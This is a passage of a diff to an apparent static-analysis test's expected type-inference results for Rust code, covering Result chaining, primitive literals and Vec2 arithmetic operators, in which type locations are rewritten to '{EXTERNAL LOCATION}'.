main.rs:1218:22:1221:10 | ... .and_then(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1218:22:1221:10 | ... .and_then(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1218:33:1218:37 | value | | main.rs:1216:20:1216:27 | T | -| main.rs:1218:53:1221:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1218:53:1221:9 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1218:53:1221:9 | { ... } | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1219:22:1219:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1219:22:1219:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1222:9:1222:23 | ...::Err(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1222:9:1222:23 | ...::Err(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1222:9:1222:23 | ...::Err(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1222:9:1222:23 | ...::Err(...) | T | main.rs:1216:20:1216:27 | T | | main.rs:1222:21:1222:22 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1226:37:1226:52 | try_same_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1226:37:1226:52 | try_same_error(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1226:37:1226:52 | try_same_error(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1226:37:1226:52 | try_same_error(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1227:22:1227:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1230:37:1230:55 | try_convert_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1227:22:1227:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1230:37:1230:55 | try_convert_error(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1230:37:1230:55 | try_convert_error(...) | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1230:37:1230:55 | try_convert_error(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1231:22:1231:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1234:37:1234:49 | try_chained(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1231:22:1231:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1234:37:1234:49 | try_chained(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1234:37:1234:49 | try_chained(...) | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1234:37:1234:49 | try_chained(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1235:22:1235:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1238:37:1238:63 | try_complex(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1235:22:1235:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1238:37:1238:63 | try_complex(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1238:37:1238:63 | try_complex(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1238:37:1238:63 | try_complex(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:49:1238:62 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1238:49:1238:62 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1238:49:1238:62 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1238:49:1238:62 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1238:60:1238:61 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1239:22:1239:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1246:13:1246:13 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1246:22:1246:22 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1247:13:1247:13 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1247:17:1247:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:13:1248:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:17:1248:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:17:1248:21 | ... + ... | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:21:1248:21 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1249:13:1249:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1249:17:1249:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1249:17:1249:23 | x.abs() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1250:13:1250:13 | c | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1250:17:1250:19 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1251:13:1251:17 | hello | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1251:21:1251:27 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1252:13:1252:13 | f | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1252:17:1252:24 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1253:13:1253:13 | t | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1253:17:1253:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1254:13:1254:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1254:17:1254:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:13:1261:13 | x | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:17:1261:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:17:1261:29 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:25:1261:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:13:1262:13 | y | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:17:1262:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:17:1262:29 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:25:1262:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1264:13:1264:17 | mut a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1265:13:1265:16 | cond | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1265:20:1265:21 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1265:20:1265:27 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1265:26:1265:27 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1266:12:1266:15 | cond | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1239:22:1239:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1246:13:1246:13 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1246:22:1246:22 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1247:13:1247:13 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1247:17:1247:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:13:1248:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:17:1248:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:17:1248:21 | ... + ... | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:21:1248:21 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1249:13:1249:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1249:17:1249:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1249:17:1249:23 | x.abs() | | {EXTERNAL LOCATION} | i32 | +| main.rs:1250:13:1250:13 | c | | {EXTERNAL LOCATION} | char | +| main.rs:1250:17:1250:19 | 'c' | | {EXTERNAL LOCATION} | char | +| main.rs:1251:13:1251:17 | hello | | {EXTERNAL LOCATION} | str | +| main.rs:1251:21:1251:27 | "Hello" | | {EXTERNAL LOCATION} | str | +| main.rs:1252:13:1252:13 | f | | {EXTERNAL LOCATION} | f64 | +| main.rs:1252:17:1252:24 | 123.0f64 | | {EXTERNAL LOCATION} | f64 | +| main.rs:1253:13:1253:13 | t | | {EXTERNAL LOCATION} | bool | +| main.rs:1253:17:1253:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1254:13:1254:13 | f | | {EXTERNAL LOCATION} | bool | +| main.rs:1254:17:1254:21 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:13:1261:13 | x | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:17:1261:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:17:1261:29 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:25:1261:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:13:1262:13 | y | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:17:1262:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:17:1262:29 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:25:1262:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1264:13:1264:17 | mut a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1265:13:1265:16 | cond | | {EXTERNAL LOCATION} | bool | +| main.rs:1265:20:1265:21 | 34 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1265:20:1265:27 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1265:26:1265:27 | 33 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1266:12:1266:15 | cond | | {EXTERNAL LOCATION} | bool | | main.rs:1267:17:1267:17 | z | | file://:0:0:0:0 | () | | main.rs:1267:21:1267:27 | (...) | | file://:0:0:0:0 | () | -| main.rs:1267:22:1267:22 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1267:22:1267:22 | a | | {EXTERNAL LOCATION} | i32 | | main.rs:1267:22:1267:26 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1267:26:1267:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1269:13:1269:13 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1267:26:1267:26 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1269:13:1269:13 | a | | {EXTERNAL LOCATION} | i32 | | main.rs:1269:13:1269:17 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1269:17:1269:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1271:9:1271:9 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1269:17:1269:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1271:9:1271:9 | a | | {EXTERNAL LOCATION} | i32 | | main.rs:1288:16:1288:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1288:22:1288:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1288:41:1293:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1289:13:1292:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1290:20:1290:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:20:1290:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1290:20:1290:33 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1290:20:1290:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1290:20:1290:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1290:29:1290:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:29:1290:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1290:29:1290:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1291:20:1291:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1291:20:1291:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1291:20:1291:33 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1291:20:1291:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1291:20:1291:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1291:29:1291:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1291:29:1291:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1291:29:1291:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1298:23:1298:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1298:23:1298:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1298:34:1298:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1299:13:1299:16 | self | | file://:0:0:0:0 | & | | main.rs:1299:13:1299:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:13:1299:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1299:13:1299:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1299:13:1299:27 | ... += ... | | file://:0:0:0:0 | () | | main.rs:1299:23:1299:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:23:1299:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1299:23:1299:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1300:13:1300:16 | self | | file://:0:0:0:0 | & | | main.rs:1300:13:1300:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1300:13:1300:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1300:13:1300:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1300:13:1300:27 | ... += ... | | file://:0:0:0:0 | () | | main.rs:1300:23:1300:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1300:23:1300:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1300:23:1300:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1306:16:1306:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1306:22:1306:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1306:41:1311:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1307:13:1310:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1308:20:1308:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:20:1308:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1308:20:1308:33 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1308:20:1308:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1308:20:1308:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1308:29:1308:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:29:1308:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1308:29:1308:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1309:20:1309:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1309:20:1309:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1309:20:1309:33 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1309:20:1309:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1309:20:1309:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1309:29:1309:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1309:29:1309:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1309:29:1309:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1316:23:1316:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1316:23:1316:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1316:34:1316:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1317:13:1317:16 | self | | file://:0:0:0:0 | & | | main.rs:1317:13:1317:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:13:1317:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1317:13:1317:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1317:13:1317:27 | ... -= ... | | file://:0:0:0:0 | () | | main.rs:1317:23:1317:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:23:1317:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1317:23:1317:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1318:13:1318:16 | self | | file://:0:0:0:0 | & | | main.rs:1318:13:1318:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1318:13:1318:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1318:13:1318:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1318:13:1318:27 | ... -= ... | | file://:0:0:0:0 | () | | main.rs:1318:23:1318:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1318:23:1318:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1318:23:1318:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1324:16:1324:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1324:22:1324:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1324:41:1329:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1325:13:1328:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1326:20:1326:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:20:1326:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1326:20:1326:33 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1326:20:1326:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1326:20:1326:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1326:29:1326:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:29:1326:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1326:29:1326:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1327:20:1327:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1327:20:1327:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1327:20:1327:33 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1327:20:1327:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1327:20:1327:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1327:29:1327:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1327:29:1327:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1327:29:1327:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1333:23:1333:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1333:23:1333:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1333:34:1333:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1334:13:1334:16 | self | | file://:0:0:0:0 | & | | main.rs:1334:13:1334:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:13:1334:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1334:13:1334:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1334:13:1334:27 | ... *= ... | | file://:0:0:0:0 | () | | main.rs:1334:23:1334:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:23:1334:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1334:23:1334:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1335:13:1335:16 | self | | file://:0:0:0:0 | & | | main.rs:1335:13:1335:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1335:13:1335:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1335:13:1335:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1335:13:1335:27 | ... *= ... | | file://:0:0:0:0 | () | | main.rs:1335:23:1335:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1335:23:1335:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1335:23:1335:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1341:16:1341:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1341:22:1341:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1341:41:1346:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1342:13:1345:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1343:20:1343:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:20:1343:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1343:20:1343:33 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1343:20:1343:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1343:20:1343:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1343:29:1343:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:29:1343:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1343:29:1343:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1344:20:1344:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1344:20:1344:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1344:20:1344:33 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1344:20:1344:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1344:20:1344:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1344:29:1344:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1344:29:1344:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1344:29:1344:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1350:23:1350:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1350:23:1350:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1350:34:1350:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1351:13:1351:16 | self | | file://:0:0:0:0 | & | | main.rs:1351:13:1351:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:13:1351:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1351:13:1351:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1351:13:1351:27 | ... /= ... | | file://:0:0:0:0 | () | | main.rs:1351:23:1351:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:23:1351:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1351:23:1351:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1352:13:1352:16 | self | | file://:0:0:0:0 | & | | main.rs:1352:13:1352:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1352:13:1352:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1352:13:1352:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1352:13:1352:27 | ... /= ... | | file://:0:0:0:0 | () | | main.rs:1352:23:1352:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1352:23:1352:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1352:23:1352:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1358:16:1358:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1358:22:1358:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1358:41:1363:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1359:13:1362:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1360:20:1360:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:20:1360:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1360:20:1360:33 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1360:20:1360:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1360:20:1360:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1360:29:1360:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:29:1360:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1360:29:1360:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1361:20:1361:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1361:20:1361:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1361:20:1361:33 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1361:20:1361:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1361:20:1361:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1361:29:1361:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1361:29:1361:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1361:29:1361:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1367:23:1367:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1367:23:1367:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1367:34:1367:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1368:13:1368:16 | self | | file://:0:0:0:0 | & | | main.rs:1368:13:1368:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:13:1368:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1368:13:1368:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1368:13:1368:27 | ... %= ... | | file://:0:0:0:0 | () | | main.rs:1368:23:1368:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:23:1368:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1368:23:1368:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1369:13:1369:16 | self | | file://:0:0:0:0 | & | | main.rs:1369:13:1369:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1369:13:1369:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1369:13:1369:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1369:13:1369:27 | ... %= ... | | file://:0:0:0:0 | () | | main.rs:1369:23:1369:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1369:23:1369:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| 